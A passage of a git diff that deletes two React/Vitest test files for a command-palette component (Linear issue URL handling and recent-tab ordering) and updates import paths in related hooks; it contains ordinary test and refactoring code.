-// @vitest-environment happy-dom
-
-import { act } from 'react'
-
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as ReactI18Next from 'react-i18next'
-import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
-
-import type { LinearIssue } from '../../../../shared/linear/issue-types'
-
-import WorktreeJumpPalette from './WorktreeJumpPalette'
-import { makeRecentTabState, makeRepo } from './worktree-jump-palette-test-fixtures'
-
-const { lookupCmdJGitHubUrlWorkItem } = vi.hoisted(() => ({
-  lookupCmdJGitHubUrlWorkItem: vi.fn()
-}))
-
-vi.mock('@/lib/cmd-j-github-url-lookup', () => ({
-  lookupCmdJGitHubUrlWorkItem
-}))
-
-vi.mock('react-i18next', async (importOriginal) => {
-  const actual = await importOriginal<typeof ReactI18Next>()
-  return {
-    ...actual,
-    useTranslation: () => ({
-      t: (_key: string, fallback?: string) => fallback ?? _key
-    })
-  }
-})
-
-vi.mock('sonner', () => ({
-  toast: {
-    success: vi.fn(),
-    error: vi.fn(),
-    info: vi.fn(),
-    warning: vi.fn(),
-    message: vi.fn()
-  }
-}))
-
-vi.mock('@/hooks/useSettingsNavigationMetadata', () => ({
-  useSettingsNavigationMetadata: () => []
-}))
-
-vi.mock('@/components/sidebar/workspace-card/surface/StatusIndicator', () => ({
-  default: () => <span data-status-indicator="true" />
-}))
-
-vi.mock('@/components/repo/RepoBadgeLabel', () => ({
-  RepoBadgeMark: () => <span data-repo-badge-mark="true" />
-}))
-
-vi.mock('@/components/cmd-j/palette-host-badge', () => ({
-  getPaletteHostBadge: () => null
-}))
-
-vi.mock('@/components/ui/command', async () => {
-  const React = await import('react')
-  return {
-    Command: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
-    CommandGroup: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
-    CommandDialog: ({
-      children,
-      open,
-      commandProps
-    }: {
-      children: React.ReactNode
-      open?: boolean
-      commandProps?: { value?: string; onValueChange?: (next: string) => void }
-    }) => {
-      return open ? (
-        <div data-command-dialog="true" data-command-value={commandProps?.value ?? ''}>
-          {children}
-        </div>
-      ) : null
-    },
-    CommandInput: ({
-      value,
-      onValueChange
-    }: {
-      value?: string
-      onValueChange?: (next: string) => void
-    }) => {
-      setCommandQuery = onValueChange ?? null
-      return (
-        <input
-          data-command-input="true"
-          value={value}
-          onChange={(event) => onValueChange?.(event.currentTarget.value)}
-        />
-      )
-    },
-    CommandList: React.forwardRef(function CommandList(
-      { children }: { children: React.ReactNode },
-      ref: React.ForwardedRef<HTMLDivElement>
-    ) {
-      return (
-        <div ref={ref} data-command-list="true">
-          {children}
-        </div>
-      )
-    }),
-    CommandEmpty: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
-    CommandItem: ({
-      children,
-      onSelect,
-      value,
-      ...props
-    }: {
-      children: React.ReactNode
-      onSelect?: (value: string) => void
-      value?: string
-    } & Omit<React.ButtonHTMLAttributes<HTMLButtonElement>, 'onSelect' | 'value'>) => (
-      <button
-        {...props}
-        data-command-item={value ?? ''}
-        onClick={() => onSelect?.(value ?? '')}
-        type="button"
-      >
-        {children}
-      </button>
-    )
-  }
-})
-
-const LINEAR_URL = 'https://linear.app/stably/issue/STA-4084/restore-osc-133-shell-integration'
-const initialAppState = useAppStore.getInitialState()
-let testRoot: Root
-let testContainer: HTMLDivElement
-let setCommandQuery: ((next: string) => void) | null = null
-
-function makeLinearIssue(patch: Partial<LinearIssue> = {}): LinearIssue {
-  return {
-    id: 'issue-sta-4084',
-    workspaceId: 'linear-workspace-1',
-    workspaceName: 'Stably',
-    identifier: 'STA-4084',
-    title: 'Restore OSC 133 shell integration',
-    branchName: 'sta-4084-restore-osc-133-shell-integration',
-    url: LINEAR_URL,
-    state: { name: 'Todo', type: 'unstarted', color: '#999999' },
-    team: { id: 'team-sta', name: 'Stably', key: 'STA' },
-    labels: [],
-    labelIds: [],
-    estimate: null,
-    priority: 2,
-    updatedAt: '2026-08-12T12:00:00.000Z',
-    ...patch
-  }
-}
-
-function deferredValue<T>(): { promise: Promise<T>; resolve: (value: T) => void } {
-  let resolve!: (value: T) => void
-  return {
-    promise: new Promise<T>((next) => {
-      resolve = next
-    }),
-    resolve
-  }
-}
-
-async function flushEffects(): Promise<void> {
-  await act(async () => {
-    await Promise.resolve()
-    await Promise.resolve()
-  })
-}
-
-async function renderPalette(overrides: Partial<AppState>): Promise<void> {
-  useAppStore.setState({
-    activeModal: 'worktree-palette',
-    activeWorktreeId: null,
-    repos: [makeRepo()],
-    tabsByWorktree: {},
-    browserTabsByWorktree: {},
-    browserPagesByWorkspace: {},
-    unifiedTabsByWorktree: {},
-    hideDefaultBranchWorkspace: false,
-    hideAutomationGeneratedWorkspaces: false,
-    alwaysShowDefaultBranchWorkspace: true,
-    lastVisitedAtByWorktreeId: {},
-    linearStatus: {
-      connected: true,
-      viewer: null,
-      workspaces: [
-        {
-          id: 'linear-workspace-1',
-          displayName: 'Linear User',
-          email: null,
-          organizationId: 'linear-organization-1',
-          organizationName: 'Stably',
-          organizationUrlKey: 'stably'
-        }
-      ],
-      selectedWorkspaceId: 'all'
-    },
-    ...makeRecentTabState(),
-    ...overrides
-  } as Partial<AppState>)
-
-  await act(async () => {
-    testRoot.render(<WorktreeJumpPalette />)
-  })
-  await flushEffects()
-}
-
-describe('WorktreeJumpPalette Linear URL intent', () => {
-  beforeEach(() => {
-    globalThis.IS_REACT_ACT_ENVIRONMENT = true
-    setCommandQuery = null
-    lookupCmdJGitHubUrlWorkItem.mockReset()
-    lookupCmdJGitHubUrlWorkItem.mockResolvedValue(null)
-    useAppStore.setState(initialAppState, true)
-    testContainer = document.createElement('div')
-    document.body.appendChild(testContainer)
-    testRoot = createRoot(testContainer)
-  })
-
-  afterEach(async () => {
-    await act(async () => {
-      testRoot.unmount()
-    })
-    vi.useRealTimers()
-    document.body.replaceChildren()
-    useAppStore.setState(initialAppState, true)
-  })
-
-  it('opens the composer with the resolved issue and generated workspace name', async () => {
-    await renderPalette({
-      fetchLinearIssue: vi.fn(() =>
-        linearIssueReadFixture<LinearIssue | null>(async () => makeLinearIssue())
-      ),
-      prefetchWorktreeCreateBase: vi.fn(async () => {})
-    })
-    await act(async () => setCommandQuery?.(LINEAR_URL))
-    await flushEffects()
-
-    await act(async () => {
-      testContainer.querySelector<HTMLElement>('[data-command-item="__create_worktree__"]')?.click()
-      await Promise.resolve()
-    })
-    await flushEffects()
-
-    expect(useAppStore.getState().activeModal).toBe('new-workspace-composer')
-    expect(useAppStore.getState().modalData).toMatchObject({
-      prefilledName: 'sta-4084-restore-osc-133-shell-integration',
-      initialRepoId: 'repo-1',
-      telemetrySource: 'command_palette',
-      linkedWorkItem: {
-        provider: 'linear',
-        type: 'issue',
-        linearIdentifier: 'STA-4084',
-        linearWorkspaceId: 'linear-workspace-1',
-        title: 'Restore OSC 133 shell integration'
-      },
-      taskSourceContext: {
-        provider: 'linear',
-        projectId: 'repo:repo-1',
-        projectHostSetupId: 'repo-1',
-        repoId: 'repo-1',
-        hostId: 'local',
-        providerIdentity: {
-          provider: 'linear',
-          workspaceId: 'linear-workspace-1',
-          workspaceName: 'Stably',
-          teamId: 'team-sta',
-          teamKey: 'STA'
-        }
-      }
-    })
-  })
-
-  it('does not open the composer after the palette closes during lookup', async () => {
-    const issueLookup = deferredValue<LinearIssue | null>()
-    await renderPalette({
-      fetchLinearIssue: vi.fn(() =>
-        linearIssueReadFixture<LinearIssue | null>(() => issueLookup.promise)
-      )
-    })
-    await act(async () => setCommandQuery?.(LINEAR_URL))
-    await flushEffects()
-
-    await act(async () => {
-      testContainer.querySelector<HTMLElement>('[data-command-item="__create_worktree__"]')?.click()
-      useAppStore.getState().closeModal()
-    })
-    await act(async () => {
-      issueLookup.resolve(makeLinearIssue())
-      await issueLookup.promise
-    })
-    await flushEffects()
-
-    expect(useAppStore.getState().activeModal).toBe('none')
-  })
-
-  it('awaits the live URL after replacing an already resolved URL', async () => {
-    const secondLookup = deferredValue<LinearIssue | null>()
-    await renderPalette({
-      fetchLinearIssue: vi.fn((identifier: string) =>
-        linearIssueReadFixture<LinearIssue | null>(() =>
-          identifier === 'STA-4084' ? Promise.resolve(makeLinearIssue()) : secondLookup.promise
-        )
-      )
-    })
-    await act(async () => setCommandQuery?.(LINEAR_URL))
-    await flushEffects()
-    await act(async () =>
-      setCommandQuery?.('https://linear.app/stably/issue/STA-4099/current-second-issue')
-    )
-    await flushEffects()
-
-    await act(async () => {
-      testContainer.querySelector<HTMLElement>('[data-command-item="__create_worktree__"]')?.click()
-    })
-    expect(useAppStore.getState().activeModal).toBe('worktree-palette')
-
-    await act(async () => {
-      secondLookup.resolve(
-        makeLinearIssue({
-          id: 'issue-sta-4099',
-          identifier: 'STA-4099',
-          title: 'Current second issue',
-          url: 'https://linear.app/stably/issue/STA-4099/current-second-issue'
-        })
-      )
-      await secondLookup.promise
-    })
-    await flushEffects()
-
-    expect(useAppStore.getState().modalData).toMatchObject({
-      linkedWorkItem: { linearIdentifier: 'STA-4099', title: 'Current second issue' }
-    })
-  })
-})
diff --git a/src/renderer/src/components/worktree-jump/WorktreeJumpPalette.recent-tabs.test.tsx b/src/renderer/src/components/worktree-jump/WorktreeJumpPalette.recent-tabs.test.tsx
deleted file mode 100644
index 9feabb55a53..00000000000
--- a/src/renderer/src/components/worktree-jump/WorktreeJumpPalette.recent-tabs.test.tsx
+++ /dev/null
@@ -1,511 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act } from 'react'
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as ReactI18Next from 'react-i18next'
-import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
-import { emitCmdJRowIndexJump } from '@/lib/cmd-j-row-index-jump'
-import WorktreeJumpPalette from './WorktreeJumpPalette'
-import { encodePaletteIdentity } from '../../../../shared/palette-match/palette-ranking'
-import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
-import {
-  LEAF_ID,
-  makeAgentEntry,
-  makeDuplicateRecentTabState,
-  makeGroup,
-  makeManyTabState,
-  makeRecentTabState,
-  makeRepo,
-  makeTerminalTab,
-  makeUnifiedTab,
-  makeWorktree
-} from './worktree-jump-palette-test-fixtures'
-
-vi.mock('react-i18next', async (importOriginal) => {
-  const actual = await importOriginal<typeof ReactI18Next>()
-  return {
-    ...actual,
-    useTranslation: () => ({
-      t: (_key: string, fallback?: string) => fallback ?? _key
-    })
-  }
-})
-
-vi.mock('sonner', () => ({
-  toast: {
-    success: vi.fn(),
-    error: vi.fn(),
-    info: vi.fn(),
-    warning: vi.fn(),
-    message: vi.fn()
-  }
-}))
-
-vi.mock('@/hooks/useSettingsNavigationMetadata', () => ({
-  useSettingsNavigationMetadata: () => []
-}))
-
-vi.mock('@/components/sidebar/workspace-card/surface/StatusIndicator', () => ({
-  default: () => <span data-status-indicator="true" />
-}))
-
-vi.mock('@/components/repo/RepoBadgeLabel', () => ({
-  RepoBadgeMark: () => <span data-repo-badge-mark="true" />
-}))
-
-vi.mock('@/components/cmd-j/palette-host-badge', () => ({
-  getPaletteHostBadge: () => null
-}))
-
-// Stub activation at its boundary; the palette contract is which result it hands over.
-const { activateWorkspaceTabPaletteResult } = vi.hoisted(() => ({
-  activateWorkspaceTabPaletteResult: vi.fn((_result: unknown) => ({ status: 'activated' }) as const)
-}))
-vi.mock('@/lib/workspace/search/tabs/workspace-tab-palette-activation', () => ({
-  activateWorkspaceTabPaletteResult: (result: unknown) => activateWorkspaceTabPaletteResult(result)
-}))
-
-vi.mock('@/components/ui/command', async () => {
-  const React = await import('react')
-  return {
-    Command: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
-    CommandGroup: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
-    // Pass controlled cmdk value through so Enter-target assertions reflect actual selection.
-    CommandDialog: ({
-      children,
-      open,
-      commandProps
-    }: {
-      children: React.ReactNode
-      open?: boolean
-      commandProps?: { value?: string; onValueChange?: (next: string) => void }
-    }) => {
-      setCommandSelection = commandProps?.onValueChange ?? null
-      return open ? (
-        <div data-command-dialog="true" data-command-value={commandProps?.value ?? ''}>
-          {children}
-        </div>
-      ) : null
-    },
-    CommandInput: ({
-      value,
-      onValueChange,
-      placeholder
-    }: {
-      value?: string
-      onValueChange?: (next: string) => void
-      placeholder?: string
-    }) => {
-      setCommandQuery = onValueChange ?? null
-      return (
-        <input
-          data-command-input="true"
-          placeholder={placeholder}
-          value={value}
-          onChange={(event) => onValueChange?.(event.currentTarget.value)}
-        />
-      )
-    },
-    CommandList: React.forwardRef(function CommandList(
-      { children }: { children: React.ReactNode },
-      ref: React.ForwardedRef<HTMLDivElement>
-    ) {
-      return (
-        <div ref={ref} data-command-list="true">
-          {children}
-        </div>
-      )
-    }),
-    CommandEmpty: ({ children }: { children: React.ReactNode }) => (
-      <div data-command-empty="true">{children}</div>
-    ),
-    CommandItem: ({
-      children,
-      onSelect,
-      value
-    }: {
-      children: React.ReactNode
-      onSelect?: (value: string) => void
-      value?: string
-    }) => (
-      <button data-command-item={value ?? ''} onClick={() => onSelect?.(value ?? '')} type="button">
-        {children}
-      </button>
-    )
-  }
-})
-
-const initialAppState = useAppStore.getInitialState()
-let testRoot: Root
-let testContainer: HTMLDivElement
-let setCommandQuery: ((next: string) => void) | null = null
-let setCommandSelection: ((next: string) => void) | null = null
-
-async function flushEffects(): Promise<void> {
-  await act(async () => {
-    await Promise.resolve()
-    await Promise.resolve()
-  })
-}
-
-async function renderPalette(overrides: Partial<AppState>): Promise<void> {
-  useAppStore.setState({
-    activeModal: 'worktree-palette',
-    activeWorktreeId: null,
-    repos: [makeRepo()],
-    tabsByWorktree: {},
-    browserTabsByWorktree: {},
-    browserPagesByWorkspace: {},
-    unifiedTabsByWorktree: {},
-    hideDefaultBranchWorkspace: false,
-    hideAutomationGeneratedWorkspaces: false,
-    // Why explicit: the sweep exemption is what these cases probe, so it must
-    // not ride on whatever the store default happens to be.
-    alwaysShowDefaultBranchWorkspace: true,
-    lastVisitedAtByWorktreeId: {},
-    ...overrides
-  } as Partial<AppState>)
-
-  await act(async () => {
-    testRoot.render(<WorktreeJumpPalette />)
-  })
-  await flushEffects()
-}
-
-function getRenderedRowIds(): string[] {
-  return [...testContainer.querySelectorAll<HTMLElement>('[data-command-item]')].map(
-    (node) => node.dataset.commandItem ?? ''
-  )
-}
-
-/** The id cmdk would activate on Enter. */
-function getCommandValue(): string {
-  return (
-    testContainer.querySelector<HTMLElement>('[data-command-dialog]')?.dataset.commandValue ?? ''
-  )
-}
-
-function getTabRowIds(): string[] {
-  return [
-    ...testContainer.querySelectorAll<HTMLElement>(
-      `[data-command-item^="${encodePaletteIdentity(['workspace-tab'])}"]`
-    )
-  ]
-    .map((node) => node.dataset.commandItem ?? '')
-    .map(
-      (id) =>
-        Object.values(useAppStore.getState().unifiedTabsByWorktree)
-          .flat()
-          .find(
-            (tab) => encodePaletteIdentity(['workspace-tab', '', tab.worktreeId, tab.id]) === id
-          )?.id ?? ''
-    )
-}
-
-describe('WorktreeJumpPalette recent chats & terminals', () => {
-  beforeEach(() => {
-    globalThis.IS_REACT_ACT_ENVIRONMENT = true
-    setCommandQuery = null
-    setCommandSelection = null
-    activateWorkspaceTabPaletteResult.mockClear()
-    useAppStore.setState(initialAppState, true)
-    testContainer = document.createElement('div')
-    document.body.appendChild(testContainer)
-    testRoot = createRoot(testContainer)
-  })
-
-  afterEach(async () => {
-    await act(async () => {
-      testRoot.unmount()
-    })
-    document.body.replaceChildren()
-    useAppStore.setState(initialAppState, true)
-  })
-
-  it('keeps duplicate persisted tab ids as separate recent rows and digit targets', async () => {
-    await renderPalette(makeDuplicateRecentTabState())
-
-    expect(
-      getRenderedRowIds().filter((id) => id.startsWith(encodePaletteIdentity(['workspace-tab'])))
-    ).toEqual([
-      encodePaletteIdentity(['workspace-tab', 'ssh:alpha', 'wt-alpha', 'tab-duplicate']),
-      encodePaletteIdentity(['workspace-tab', 'ssh:beta', 'wt-beta', 'tab-duplicate'])
-    ])
-
-    await act(async () => {
-      emitCmdJRowIndexJump(1)
-    })
-    await flushEffects()
-
-    expect(activateWorkspaceTabPaletteResult).toHaveBeenCalledWith(
-      expect.objectContaining({ tabId: 'tab-duplicate', worktreeId: 'wt-beta' })
-    )
-  })
-
-  it('backfills past the cap when rows drop out of the frozen order', async () => {
-    await renderPalette(makeManyTabState(12))
-    const before = getTabRowIds()
-
-    // Narrowing away the first page must expose later ranked rows rather than an empty section.
-    await act(async () => {
-      useAppStore.setState({
-        unifiedTabsByWorktree: {
-          'wt-many': (useAppStore.getState().unifiedTabsByWorktree['wt-many'] ?? []).filter(
-            (tab) => !before.includes(tab.id)
-          )
-        }
-      } as Partial<AppState>)
-    })
-    await flushEffects()
-
-    const after = getTabRowIds()
-    expect(after).toHaveLength(6)
-    expect(after.some((id) => before.includes(id))).toBe(false)
-  })
-
-  /** A tab whose title starts with the query, against worktrees that only match mid-name. */
-  function makeTypedRelevanceState(): Partial<AppState> {
-    const weak = makeWorktree('wt-weak', 'improve-agent-dashboard-performance')
-    const host = makeWorktree('wt-host', 'docs-update')
-    return {
-      worktreesByRepo: { 'repo-1': [weak, host] },
-      showSleepingWorkspaces: true,
-      ptyIdsByTabId: { 'term-host': ['pty-term-host'] },
-      tabsByWorktree: {
-        'wt-host': [makeTerminalTab('term-host', 'wt-host', 'Performance Review Main Daemon')]
-      },
-      unifiedTabsByWorktree: {
-        'wt-host': [
-          makeUnifiedTab('tab-host', 'wt-host', 'term-host', 'Performance Review Main Daemon')
-        ]
-      },
-      groupsByWorktree: { 'wt-host': [makeGroup('wt-host', ['tab-host'])] },
-      activeGroupIdByWorktree: { 'wt-host': 'group-wt-host' }
-    }
-  }
-
-  it('selects the new first result when cmdk reports the deferred list selection', async () => {
-    await renderPalette(makeTypedRelevanceState())
-
-    await act(async () => {
-      setCommandQuery?.('improve')
-    })
-    await flushEffects()
-    expect(getCommandValue()).toBe(encodePaletteIdentity(['worktree', '|wt-weak']))
-
-    await act(async () => {
-      setCommandQuery?.('perf')
-      setCommandSelection?.(encodePaletteIdentity(['worktree', '|wt-weak']))
-    })
-    await flushEffects()
-
-    expect(getRenderedRowIds().find((id) => id.length > 0)).toBe(
-      encodePaletteIdentity(['workspace-tab', '', 'wt-host', 'tab-host'])
-    )
-    expect(getCommandValue()).toBe(
-      encodePaletteIdentity(['workspace-tab', '', 'wt-host', 'tab-host'])
-    )
-  })
-
-  it('captures the order when tabs hydrate after the palette is already open', async () => {
-    const hydrated = makeRecentTabState()
-    await renderPalette({
-      ...hydrated,
-      tabsByWorktree: {},
-      unifiedTabsByWorktree: {}
-    })
-
-    expect(getTabRowIds()).toEqual([])
-    // Before hydration, cmdk auto-selects the first workspace it sees.
-    const firstWorktreeId = getRenderedRowIds().find((id) =>
-      id.startsWith(encodePaletteIdentity(['worktree']))
-    )
-    expect(firstWorktreeId).toBeDefined()
-    await act(async () => {
-      setCommandSelection?.(firstWorktreeId ?? '')
-    })
-    await flushEffects()
-
-    await act(async () => {
-      useAppStore.setState({
-        tabsByWorktree: hydrated.tabsByWorktree,
-        unifiedTabsByWorktree: hydrated.unifiedTabsByWorktree
-      } as Partial<AppState>)
-    })
-    await flushEffects()
-
-    const [topRowId] = getTabRowIds()
-    expect(getTabRowIds()).toHaveLength(2)
-    expect(getCommandValue()).toBe(
-      getRenderedRowIds().find((id) => id.startsWith(encodePaletteIdentity(['workspace-tab'])))
-    )
-
-    // Empty snapshots must not leave digit shortcuts unbound until reopen.
-    await act(async () => {
-      emitCmdJRowIndexJump(0)
-    })
-    await flushEffects()
-
-    expect(activateWorkspaceTabPaletteResult).toHaveBeenCalledWith(
-      expect.objectContaining({ tabId: topRowId })
-    )
-  })
-
-  it('leaves a deliberately moved selection alone when recents land late', async () => {
-    const hydrated = makeRecentTabState()
-    await renderPalette({
-      ...hydrated,
-      tabsByWorktree: {},
-      unifiedTabsByWorktree: {}
-    })
-
-    const worktreeIds = getRenderedRowIds().filter((id) =>
-      id.startsWith(encodePaletteIdentity(['worktree']))
-    )
-    expect(worktreeIds.length).toBeGreaterThan(1)
-    // Use a non-first row to prove the user moved selection.
-    const movedTo = worktreeIds[1]
-    await act(async () => {
-      setCommandSelection?.(movedTo)
-    })
-    await flushEffects()
-
-    await act(async () => {
-      useAppStore.setState({
-        tabsByWorktree: hydrated.tabsByWorktree,
-        unifiedTabsByWorktree: hydrated.unifiedTabsByWorktree
-      } as Partial<AppState>)
-    })
-    await flushEffects()
-
-    expect(getTabRowIds()).toHaveLength(2)
-    expect(getCommandValue()).toBe(movedTo)
-  })
-
-  it('preserves visit ordering and selection when terminal entities hydrate', async () => {
-    const hydrated = makeRecentTabState({
-      agentStatusByPaneKey: {
-        [makePaneKey('term-alpha', LEAF_ID)]: makeAgentEntry('term-alpha', 'blocked', Date.now())
-      },
-      unifiedTabsByWorktree: {
-        'wt-alpha': [
-          {
-            ...makeUnifiedTab('tab-alpha', 'wt-alpha', 'term-alpha', 'Alpha chat'),
-            lastFocusedAt: Date.now() - 3 * 86400_000
-          }
-        ],
-        'wt-beta': [
-          {
-            ...makeUnifiedTab('tab-beta', 'wt-beta', 'term-beta', 'Beta chat'),
-            lastFocusedAt: Date.now()
-          }
-        ]
-      }
-    })
-    await renderPalette({ ...hydrated, tabsByWorktree: {} })
-    expect(getTabRowIds()).toEqual(['tab-beta', 'tab-alpha'])
-    const movedTo = getRenderedRowIds().filter((id) =>
-      id.startsWith(encodePaletteIdentity(['workspace-tab']))
-    )[1]
-    await act(async () => {
-      setCommandSelection?.(movedTo)
-    })
-    await flushEffects()
-    await act(async () => {
-      useAppStore.setState({ tabsByWorktree: hydrated.tabsByWorktree } as Partial<AppState>)
-    })
-    await flushEffects()
-    expect(getTabRowIds()).toEqual(['tab-beta', 'tab-alpha'])
-    expect(getCommandValue()).toBe(movedTo)
-  })
-
-  it('admits a high-signal current tab whose terminal entity hydrates late', async () => {
-    // Wait for the terminal entity before freezing attention membership or late current tabs stay excluded for the whole open.
-    const hydrated = makeRecentTabState({
-      activeWorktreeId: 'wt-alpha',
-      activeTabType: 'terminal',
-      activeTabId: 'term-alpha',
-      activeTabIdByWorktree: { 'wt-alpha': 'term-alpha' },
-      activeTabTypeByWorktree: { 'wt-alpha': 'terminal' },
-      agentStatusByPaneKey: {
-        [makePaneKey('term-alpha', LEAF_ID)]: makeAgentEntry('term-alpha', 'blocked', Date.now())
-      }
-    })
-    await renderPalette({ ...hydrated, tabsByWorktree: {} })
-    expect(getTabRowIds()).toEqual(['tab-beta'])
-
-    await act(async () => {
-      useAppStore.setState({ tabsByWorktree: hydrated.tabsByWorktree } as Partial<AppState>)
-    })
-    await flushEffects()
-
-    expect(getTabRowIds()).toEqual(['tab-alpha', 'tab-beta'])
-  })
-
-  it('captures the unfiltered order when reopened after a search', async () => {
-    await renderPalette(makeRecentTabState())
-
-    await act(async () => {
-      setCommandQuery?.('Alpha')
-    })
-    await flushEffects()
-
-    // The retained palette clears queries after the snapshot effect; reopening must not freeze an old query’s subset.
-    await act(async () => {
-      useAppStore.setState({ activeModal: undefined } as Partial<AppState>)
-    })
-    await flushEffects()
-    await act(async () => {
-      useAppStore.setState({
-        activeModal: 'worktree-palette'
-      } as Partial<AppState>)
-    })
-    await flushEffects()
-
-    expect(getTabRowIds()).toHaveLength(2)
-  })
-
-  it('keeps the current tab in recent on a pane-only unread completion marker', async () => {
-    await renderPalette(
-      makeRecentTabState({
-        activeWorktreeId: 'wt-alpha',
-        activeTabType: 'terminal',
-        activeTabId: 'term-alpha',
-        activeTabIdByWorktree: { 'wt-alpha': 'term-alpha' },
-        activeTabTypeByWorktree: { 'wt-alpha': 'terminal' },
-        // Exercise pane-only unacknowledged completion independently of unreadTerminalTabs.
-        unreadAgentCompletionPanes: { [makePaneKey('term-alpha', LEAF_ID)]: true }
-      })
-    )
-
-    expect(getTabRowIds()).toContain('tab-alpha')
-  })
-
-  it('keeps the recent section under a sidebar-seeded repository filter and refreshes on clear', async () => {
-    const secondRepo = { ...makeRepo(), id: 'repo-2', path: '/repos/repo-2', displayName: 'Repo 2' }
-    await renderPalette({
-      ...makeRecentTabState(),
-      repos: [makeRepo(), secondRepo],
-      worktreesByRepo: {
-        'repo-1': [makeWorktree('wt-alpha', 'Alpha workspace')],
-        'repo-2': [makeWorktree('wt-beta', 'Beta workspace', { repoId: 'repo-2' })]
-      },
-      filterRepoIds: ['repo-1']
-    })
-
-    // The seeded filter narrows the recent rows instead of dropping the section.
-    expect(testContainer.textContent).toContain('Recent Chats & Terminals')
-    expect(getTabRowIds()).toEqual(['tab-alpha'])
-
-    await act(async () => {
-      ;[...testContainer.querySelectorAll('button')]
-        .find((button) => button.textContent?.includes('Clear all'))
-        ?.click()
-    })
-    await flushEffects()
-
-    expect(getTabRowIds()).toEqual(expect.arrayContaining(['tab-alpha', 'tab-beta']))
-  })
-})
diff --git a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-create-action.ts b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-create-action.ts
index 40fb4195699..e3b9de001a2 100644
--- a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-create-action.ts
+++ b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-create-action.ts
@@ -1,5 +1,5 @@
 import { useCallback, useEffect, useLayoutEffect } from 'react'
-import { subscribeCmdJRowIndexJump } from '@/lib/cmd-j-row-index-jump'
+import { subscribeCmdJRowIndexJump } from '@/lib/workspace/search/palette/cmd-j-row-index-jump'
 import type { WorktreeJumpPaletteFilter } from './use-worktree-jump-palette-filter'
 import type { WorktreeJumpPaletteLocalState } from './use-worktree-jump-palette-local-state'
 import type { WorktreeJumpPaletteQuickActions } from './use-worktree-jump-palette-quick-actions'
diff --git a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-extra-results.ts b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-extra-results.ts
index 6fda59440d6..64144cb3e8f 100644
--- a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-extra-results.ts
+++ b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-extra-results.ts
@@ -1,7 +1,7 @@
 import { useMemo } from 'react'
 import { usePaletteExtraSources } from '@/components/cmd-j/palette-extra-sources'
 import type { PaletteExtraSource } from '@/components/cmd-j/palette-extra-results'
-import { comparePaletteRankedItems } from '@/lib/cmd-j-section-leadership'
+import { comparePaletteRankedItems } from '@/lib/workspace/search/palette/cmd-j-section-leadership'
 import {
   encodePaletteIdentity,
   preparePaletteActivity,
diff --git a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-open-tabs.ts b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-open-tabs.ts
index 9a84eee2c70..e8d9d0b5b6e 100644
--- a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-open-tabs.ts
+++ b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-open-tabs.ts
@@ -10,10 +10,11 @@ import {
 } from '@/lib/simulator/search/simulator-palette-search'
 import type { SearchableSimulatorTab } from '@/lib/simulator/search/simulator-palette-search-types'
 import '@/lib/workspace/search/tabs/workspace-tab-search-types'
-import { buildSearchableWorkspaceTabEntries } from '@/lib/workspace/search/tabs/workspace-tab-palette-entry-builder'
 import type { SearchableWorkspaceTab } from '@/lib/workspace/search/tabs/workspace-tab-search-types'
+import { buildSearchableWorkspaceTabEntries } from '@/lib/workspace/search/tabs/workspace-tab-palette-entry-builder'
+
 import { searchWorkspaceTabs } from '@/lib/workspace/search/tabs/workspace-tab-palette-results'
-import { comparePaletteRankedItems } from '@/lib/cmd-j-section-leadership'
+import { comparePaletteRankedItems } from '@/lib/workspace/search/palette/cmd-j-section-leadership'
 import { getPaletteWorktreeIdentity } from '@/lib/workspace/search/palette-repo-resolution'
 import type {
   BrowserPaletteItem,
diff --git a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-recent-tabs.ts b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-recent-tabs.ts
index a6015ad25ec..f40d9e276ba 100644
--- a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-recent-tabs.ts
+++ b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-recent-tabs.ts
@@ -6,7 +6,7 @@ import {
 import {
   orderRecentWorkspaceTabs,
   type RecentWorkspaceTabRow
-} from '@/lib/recent-workspace-tab-rows'
+} from '@/lib/workspace/search/palette/recent-workspace-tab-rows'
 import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
 import {
   EMPTY_RECENT_TAB_ORDER,
diff --git a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-sections.ts b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-sections.ts
index a0653d48be9..746c5d45efb 100644
--- a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-sections.ts
+++ b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-sections.ts
@@ -6,7 +6,7 @@ import {
   shouldExtraSectionLeadPaletteSections,
   shouldIntentSectionLeadPaletteSections,
   shouldOpenTabsLeadPaletteSections
-} from '@/lib/cmd-j-section-leadership'
+} from '@/lib/workspace/search/palette/cmd-j-section-leadership'
 import {
   capPaletteSection,
   layoutMultiPrimaryPaletteSections,
diff --git a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-search.test.tsx b/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-search.test.tsx
index 34bff91ccf7..4f84f3d90f9 100644
--- a/src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-search.test.tsx
